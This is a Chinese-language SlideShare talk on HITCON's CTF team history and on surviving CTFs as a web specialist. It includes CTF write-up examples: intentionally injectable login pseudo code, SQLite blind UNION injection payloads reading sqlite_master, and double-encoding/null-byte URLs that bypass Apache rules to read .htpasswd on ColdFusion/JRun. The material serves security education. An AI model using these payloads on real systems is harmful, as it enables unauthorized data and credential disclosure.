SlideShare una empresa de Scribd logo
1 de 47
Descargar para leer sin conexión
關於 HITCON CTF 的那些事
- Web 狗如何在險惡的 CTF 世界中存活?
Orange@chroot.org
About Me
• 蔡政達 a.k.a Orange
• CHROOT 成員 / HITCON 成員
• 國內外研討會 HITCON, AVTokyo, PHPConf 等講師
• 國內外駭客競賽 Capture the Flag 冠軍
• 揭露過 Microsoft IE, Django, Yahoo ... 等 0-DAY 漏洞
• 專精於駭客手法、Web Security 與網路滲透
#90後 #賽棍 #電競選手 #Web狗
About HITCON CTF Team
• 台灣駭客年會 (Hacks in Taiwan Conference)
• 目前比賽成員約 14 位,成員來自台灣各隊伍
• 過半數為學生
參與過賽事(決賽)
• 中國 BCTF
• 韓國 SECUINSIDE
• 美國 DEF CON
• 馬來西亞 HITB
• 日本 SECCON
• 韓國 CODEGATE
• 中國 0CTF
• …
由三隻獨立隊伍所合併而成
HITCON
• DEFCON CTF 21 Quals
• 217 首度接觸 CTF!
2013-05
• 中國百度 BCTF 決賽
• 首次參加的 Attack & Defense
比賽!
2014-05
2013-05
黑客競賽住宿飯店提供黑客蚊香片
• DEFCON CTF 22 Quals
• 聚集各方戰力重新挑戰一次
• HITCON
• 台灣大學 217
• 交通大學成員
2014-05
2013-05 2014-05
SICK
http://www.jeffxx.com/blog/2014/05/19/defcon-ctf-22-qual-sick-writeup/
• 韓國 SECUINSIDE CTF 決賽
• 發現跟國外隊伍差距多大
2014-05
2013-05 2014-05
2014-07
DEF CON 22 CTF FINAL
• 首次聚集台灣最強戰力挑戰
DEFCON 決賽
• 抵達美國過程一波三折
2014-05
2013-05 2014-05
2014-07
2014-08
• 時差問題
• 食物只有漢堡王
• 設備 ? VLAN TAG 999
2014-05
2013-05 2014-05
2014-07
2014-08
• HITCON 舉辦首場開放世界報
名的比賽 - HITCON CTF
• 列強環繞 - Bamboo Fox 成立
2014-05
2013-05 2014-05
2014-07
2014-08
2014-08
http://ctf.hitcon.org/
• 日本 SECCON 決賽
• Kill of the Hill 賽制
• 看不懂規則以及網頁
• 花了兩個小時 Fuzzing Protocol
找到 Overflow 後... 原來有提供
Binary
2014-05
2013-05 2014-05
2014-07
2014-08
2014-08
2015-02
TO BE CONTINUED
2014-05
2013-05 2014-05
2014-07
2014-08
2014-08
2015-02
2015-??
「Web 狗如何在險惡的 CTF 世界中存活?」
DEFCON 22 CTF Quals Web x 1 of 21
DEFCON 23 CTF Quals Web x 1 of 24
Boston Key Party CTF 2015 Web x 0 of 31
PLAID CTF 2015 Web x 1 of 24
「Web 狗如何在險惡的 CTF 世界中存活?」
看到都快哭出來了
Web 為何弱勢?
• 代碼數量
• 你不會為了出一道題目去寫幾十萬行代碼
• 技術 v.s. 思路 v.s. ...滲透?
• 漏洞利用的藝術
• 想想假使 WordPress / Discuz 出了一個任意變量覆蓋要如何 優雅 的利用?
• 跳個 alert 也是利用,遠端代碼執行也是利用
# login page
r = query("SELECT pwd FROM users WHERE user = '" + username + "'")
if r.pwd == password:
session['username'] = username
# index page
username = session['username']
r = query("SELECT point FROM users WHERE user = '" + username + "'")
print r.point
CodeGate CTF 2015 Final Web
Pseudo Code
CodeGate CTF 2015 Final Web
Pseudo Code
• 4 / 10 隊伍解出
• 技術很簡單,成功登入後可以看到 session 對應的分數
• 不過在沒有原始碼狀況下難度增加
• 對於黑箱測試來說只有登入成功以及失敗的結果可知
Q: 在沒有錯誤、無法讀寫、無法多語句的前提下,如何用最快的方式
取得資料?
' UNION SELECT (SELECT CASE WHEN random()*2>1 THEN 'password'
ELSE (SELECT sql FROM sqlite_master limit 1) END)--+
核心概念 - 單次輸入但構造出不同的結果
' UNION SELECT (SELECT CASE WHEN datetime('now')>'2015-06-22
00:00:00' THEN 'password' ELSE (SELECT sql FROM sqlite_master limit 1)
END)--+
核心概念 - 單次輸入但構造出不同的結果
HITCON CTF 2014 Web LEENODE
• 2 / 1020 隊伍解出
• Web 分層架構漏洞
• ColdFusion with Apache Connector
• 舊版本 ColdFusion Double Encoding 造成資訊洩漏漏洞
• 同樣漏洞,出現兩種思路兩種解法
HITCON CTF 2014 Web
LEENODE
<FilesMatch "^.ht"> 會被 Apache 處理
使⽤用 Double Encoding 繞過 Apache 處理
.cfm 會被 JRun 處理
使⽤用 Null Byte 截斷 .cfm
JRun 讀取 .htpasswd 原始碼並送回
/admin%252f%252ehtpasswd%2500.cfm
/.%5Cadmin%5C.htpasswd%253b.jsp
<FilesMatch "^.ht"> 會被 Apache 處理
使⽤用反斜線繞過 Apache 處理
.jsp 會被 JRun 處理
使⽤用 ; 截斷 .jsp
JRun 讀取 .htpasswd 原始碼並送回
「Web 狗如何在險惡的 CTF 世界中存活?」
所以說
– 怎麼可能存活,你想多了
「Web 狗如何在險惡的 CTF 世界中存活?」
– 為了存活下來,必須強迫自己學會其他技能
「Web 狗如何在險惡的 CTF 世界中存活?」
– 不過技術是連貫的
「Web 狗如何在險惡的 CTF 世界中存活?」
從本業往外擴張
• Web Hacking
• Reversing + Pwnable
• /cgi-bin/ 下的 ELF
• 嵌入式設備總會遇到
• 滲透後主機提權要自己改 Exploit Code
• Cryptography
• Padding Oracle / Bit Flipping Attack / Length Extension Attack ...
– 人在江湖,身不由己
「Web 狗如何在險惡的 CTF 世界中存活?」
Web 狗額外優勢
• 網頁端的資訊洩漏 ( Flag ? )
• /server-status/
• /.git/ .DS_Store
• 針對出題者的資訊蒐集?
• 蒐集題目作者習慣 Code Snippet / Coding Style
•還有哪些只有 Web 狗能做的事情?
結論
Q & A

Más contenido relacionado

Destacado

2.从案件看国内 d do s 的最新方式
2.从案件看国内 d do s 的最新方式2.从案件看国内 d do s 的最新方式
2.从案件看国内 d do s 的最新方式Hsiao Tim
 
1.手机号背后的灰色地带
1.手机号背后的灰色地带1.手机号背后的灰色地带
1.手机号背后的灰色地带Hsiao Tim
 
3.android 应用程序通用自动脱壳方法研究
3.android 应用程序通用自动脱壳方法研究3.android 应用程序通用自动脱壳方法研究
3.android 应用程序通用自动脱壳方法研究Hsiao Tim
 
0.struts 2 事件两周年启示+乌云社区颁奖
0.struts 2 事件两周年启示+乌云社区颁奖0.struts 2 事件两周年启示+乌云社区颁奖
0.struts 2 事件两周年启示+乌云社区颁奖Hsiao Tim
 
The truth meter
The truth meterThe truth meter
The truth meterHsiao Tim
 
OWST - Orange Web Security Toolkit Documentation
OWST - Orange Web Security Toolkit DocumentationOWST - Orange Web Security Toolkit Documentation
OWST - Orange Web Security Toolkit DocumentationOrange Tsai
 
社群網站資料探勘技術
社群網站資料探勘技術社群網站資料探勘技術
社群網站資料探勘技術Hsiao Tim
 

Destacado (8)

2.从案件看国内 d do s 的最新方式
2.从案件看国内 d do s 的最新方式2.从案件看国内 d do s 的最新方式
2.从案件看国内 d do s 的最新方式
 
Xmpp
XmppXmpp
Xmpp
 
1.手机号背后的灰色地带
1.手机号背后的灰色地带1.手机号背后的灰色地带
1.手机号背后的灰色地带
 
3.android 应用程序通用自动脱壳方法研究
3.android 应用程序通用自动脱壳方法研究3.android 应用程序通用自动脱壳方法研究
3.android 应用程序通用自动脱壳方法研究
 
0.struts 2 事件两周年启示+乌云社区颁奖
0.struts 2 事件两周年启示+乌云社区颁奖0.struts 2 事件两周年启示+乌云社区颁奖
0.struts 2 事件两周年启示+乌云社区颁奖
 
The truth meter
The truth meterThe truth meter
The truth meter
 
OWST - Orange Web Security Toolkit Documentation
OWST - Orange Web Security Toolkit DocumentationOWST - Orange Web Security Toolkit Documentation
OWST - Orange Web Security Toolkit Documentation
 
社群網站資料探勘技術
社群網站資料探勘技術社群網站資料探勘技術
社群網站資料探勘技術
 

Similar a 6.ctf经验分享

網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-AreaOrange Tsai
 
[students AI workshop] Pytorch
[students AI workshop]  Pytorch[students AI workshop]  Pytorch
[students AI workshop] PytorchTzu-Wei Huang
 
Ctf For Beginner
Ctf For BeginnerCtf For Beginner
Ctf For BeginnerWei-Bo Chen
 
資訊證照講座
資訊證照講座資訊證照講座
資訊證照講座Ryan Chung
 
聊天機器人概論 Introduce to chat bot sevices
聊天機器人概論 Introduce to chat bot sevices聊天機器人概論 Introduce to chat bot sevices
聊天機器人概論 Introduce to chat bot sevicesDuran Hsieh
 
HITCON駭客戰隊與CTF經驗分享
HITCON駭客戰隊與CTF經驗分享HITCON駭客戰隊與CTF經驗分享
HITCON駭客戰隊與CTF經驗分享Alan Lee
 
COSCUP 2016 - LLVM 由淺入淺
COSCUP 2016 - LLVM 由淺入淺COSCUP 2016 - LLVM 由淺入淺
COSCUP 2016 - LLVM 由淺入淺宗凡 楊
 
COSCUP2016 - LLVM框架、由淺入淺
COSCUP2016 - LLVM框架、由淺入淺COSCUP2016 - LLVM框架、由淺入淺
COSCUP2016 - LLVM框架、由淺入淺hydai
 
LinkIt Smart 7688程式開發
LinkIt Smart 7688程式開發LinkIt Smart 7688程式開發
LinkIt Smart 7688程式開發Wei-Tsung Su
 
1_大二班_資料視覺化_20221028.pdf
1_大二班_資料視覺化_20221028.pdf1_大二班_資料視覺化_20221028.pdf
1_大二班_資料視覺化_20221028.pdfFEG
 
Agile tour 2014 - Coding Dojo with C# and TDD
Agile tour 2014 - Coding Dojo with C# and TDDAgile tour 2014 - Coding Dojo with C# and TDD
Agile tour 2014 - Coding Dojo with C# and TDDAgileCommunity
 
Agile tour Taipei 2014 - coding dojo with CSharp and TDD
Agile tour Taipei 2014 - coding dojo with CSharp and TDDAgile tour Taipei 2014 - coding dojo with CSharp and TDD
Agile tour Taipei 2014 - coding dojo with CSharp and TDDJoey Chen
 
持續交付高品質程式碼 公開版
持續交付高品質程式碼 公開版持續交付高品質程式碼 公開版
持續交付高品質程式碼 公開版Kirk Chen
 
網站程式資安白箱與黑箱檢測處理經驗分享
網站程式資安白箱與黑箱檢測處理經驗分享網站程式資安白箱與黑箱檢測處理經驗分享
網站程式資安白箱與黑箱檢測處理經驗分享Ying-Chun Cheng
 
Spirent_securityLab-服務介紹_2022.pdf
Spirent_securityLab-服務介紹_2022.pdfSpirent_securityLab-服務介紹_2022.pdf
Spirent_securityLab-服務介紹_2022.pdfssuserdfa916
 
STM32F4 for 智慧型電動輪椅系統Part1
STM32F4 for 智慧型電動輪椅系統Part1STM32F4 for 智慧型電動輪椅系統Part1
STM32F4 for 智慧型電動輪椅系統Part1Jack Wang
 
110824 knoss-windows系统机制浅析
110824 knoss-windows系统机制浅析110824 knoss-windows系统机制浅析
110824 knoss-windows系统机制浅析Zoom Quiet
 
程式交易經驗分享系列(2) 交易策略開發步驟
程式交易經驗分享系列(2)   交易策略開發步驟程式交易經驗分享系列(2)   交易策略開發步驟
程式交易經驗分享系列(2) 交易策略開發步驟Philip Zheng
 
9.“企业应急响应与反渗透”之真实案例分析
9.“企业应急响应与反渗透”之真实案例分析9.“企业应急响应与反渗透”之真实案例分析
9.“企业应急响应与反渗透”之真实案例分析Hsiao Tim
 

Similar a 6.ctf经验分享 (20)

網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area
 
【HITCON FreeTalk】Supply Chain Attack
【HITCON FreeTalk】Supply Chain Attack【HITCON FreeTalk】Supply Chain Attack
【HITCON FreeTalk】Supply Chain Attack
 
[students AI workshop] Pytorch
[students AI workshop]  Pytorch[students AI workshop]  Pytorch
[students AI workshop] Pytorch
 
Ctf For Beginner
Ctf For BeginnerCtf For Beginner
Ctf For Beginner
 
資訊證照講座
資訊證照講座資訊證照講座
資訊證照講座
 
聊天機器人概論 Introduce to chat bot sevices
聊天機器人概論 Introduce to chat bot sevices聊天機器人概論 Introduce to chat bot sevices
聊天機器人概論 Introduce to chat bot sevices
 
HITCON駭客戰隊與CTF經驗分享
HITCON駭客戰隊與CTF經驗分享HITCON駭客戰隊與CTF經驗分享
HITCON駭客戰隊與CTF經驗分享
 
COSCUP 2016 - LLVM 由淺入淺
COSCUP 2016 - LLVM 由淺入淺COSCUP 2016 - LLVM 由淺入淺
COSCUP 2016 - LLVM 由淺入淺
 
COSCUP2016 - LLVM框架、由淺入淺
COSCUP2016 - LLVM框架、由淺入淺COSCUP2016 - LLVM框架、由淺入淺
COSCUP2016 - LLVM框架、由淺入淺
 
LinkIt Smart 7688程式開發
LinkIt Smart 7688程式開發LinkIt Smart 7688程式開發
LinkIt Smart 7688程式開發
 
1_大二班_資料視覺化_20221028.pdf
1_大二班_資料視覺化_20221028.pdf1_大二班_資料視覺化_20221028.pdf
1_大二班_資料視覺化_20221028.pdf
 
Agile tour 2014 - Coding Dojo with C# and TDD
Agile tour 2014 - Coding Dojo with C# and TDDAgile tour 2014 - Coding Dojo with C# and TDD
Agile tour 2014 - Coding Dojo with C# and TDD
 
Agile tour Taipei 2014 - coding dojo with CSharp and TDD
Agile tour Taipei 2014 - coding dojo with CSharp and TDDAgile tour Taipei 2014 - coding dojo with CSharp and TDD
Agile tour Taipei 2014 - coding dojo with CSharp and TDD
 
持續交付高品質程式碼 公開版
持續交付高品質程式碼 公開版持續交付高品質程式碼 公開版
持續交付高品質程式碼 公開版
 
網站程式資安白箱與黑箱檢測處理經驗分享
網站程式資安白箱與黑箱檢測處理經驗分享網站程式資安白箱與黑箱檢測處理經驗分享
網站程式資安白箱與黑箱檢測處理經驗分享
 
Spirent_securityLab-服務介紹_2022.pdf
Spirent_securityLab-服務介紹_2022.pdfSpirent_securityLab-服務介紹_2022.pdf
Spirent_securityLab-服務介紹_2022.pdf
 
STM32F4 for 智慧型電動輪椅系統Part1
STM32F4 for 智慧型電動輪椅系統Part1STM32F4 for 智慧型電動輪椅系統Part1
STM32F4 for 智慧型電動輪椅系統Part1
 
110824 knoss-windows系统机制浅析
110824 knoss-windows系统机制浅析110824 knoss-windows系统机制浅析
110824 knoss-windows系统机制浅析
 
程式交易經驗分享系列(2) 交易策略開發步驟
程式交易經驗分享系列(2)   交易策略開發步驟程式交易經驗分享系列(2)   交易策略開發步驟
程式交易經驗分享系列(2) 交易策略開發步驟
 
9.“企业应急响应与反渗透”之真实案例分析
9.“企业应急响应与反渗透”之真实案例分析9.“企业应急响应与反渗透”之真实案例分析
9.“企业应急响应与反渗透”之真实案例分析
 

Más de Hsiao Tim

X realtime xmp-ptut-pdf
X realtime xmp-ptut-pdfX realtime xmp-ptut-pdf
X realtime xmp-ptut-pdfHsiao Tim
 
Js in one pic
Js in one picJs in one pic
Js in one picHsiao Tim
 
4.解析 p2 p 金融安全
4.解析 p2 p 金融安全4.解析 p2 p 金融安全
4.解析 p2 p 金融安全Hsiao Tim
 
5.云安全现场演示
5.云安全现场演示5.云安全现场演示
5.云安全现场演示Hsiao Tim
 
5.多角度对抗 waf 的思路与实例
5.多角度对抗 waf 的思路与实例5.多角度对抗 waf 的思路与实例
5.多角度对抗 waf 的思路与实例Hsiao Tim
 
4.由 pc 端安全问题引发的重重隐患
4.由 pc 端安全问题引发的重重隐患4.由 pc 端安全问题引发的重重隐患
4.由 pc 端安全问题引发的重重隐患Hsiao Tim
 
3.无人飞行器安全性分析
3.无人飞行器安全性分析3.无人飞行器安全性分析
3.无人飞行器安全性分析Hsiao Tim
 
8.如何从外围进入各大公司内网
8.如何从外围进入各大公司内网8.如何从外围进入各大公司内网
8.如何从外围进入各大公司内网Hsiao Tim
 
7.唯品会安全建设与风控杂谈
7.唯品会安全建设与风控杂谈7.唯品会安全建设与风控杂谈
7.唯品会安全建设与风控杂谈Hsiao Tim
 
6.web 安全架构浅谈
6.web 安全架构浅谈6.web 安全架构浅谈
6.web 安全架构浅谈Hsiao Tim
 

Más de Hsiao Tim (10)

X realtime xmp-ptut-pdf
X realtime xmp-ptut-pdfX realtime xmp-ptut-pdf
X realtime xmp-ptut-pdf
 
Js in one pic
Js in one picJs in one pic
Js in one pic
 
4.解析 p2 p 金融安全
4.解析 p2 p 金融安全4.解析 p2 p 金融安全
4.解析 p2 p 金融安全
 
5.云安全现场演示
5.云安全现场演示5.云安全现场演示
5.云安全现场演示
 
5.多角度对抗 waf 的思路与实例
5.多角度对抗 waf 的思路与实例5.多角度对抗 waf 的思路与实例
5.多角度对抗 waf 的思路与实例
 
4.由 pc 端安全问题引发的重重隐患
4.由 pc 端安全问题引发的重重隐患4.由 pc 端安全问题引发的重重隐患
4.由 pc 端安全问题引发的重重隐患
 
3.无人飞行器安全性分析
3.无人飞行器安全性分析3.无人飞行器安全性分析
3.无人飞行器安全性分析
 
8.如何从外围进入各大公司内网
8.如何从外围进入各大公司内网8.如何从外围进入各大公司内网
8.如何从外围进入各大公司内网
 
7.唯品会安全建设与风控杂谈
7.唯品会安全建设与风控杂谈7.唯品会安全建设与风控杂谈
7.唯品会安全建设与风控杂谈
 
6.web 安全架构浅谈
6.web 安全架构浅谈6.web 安全架构浅谈
6.web 安全架构浅谈
 

6.ctf经验分享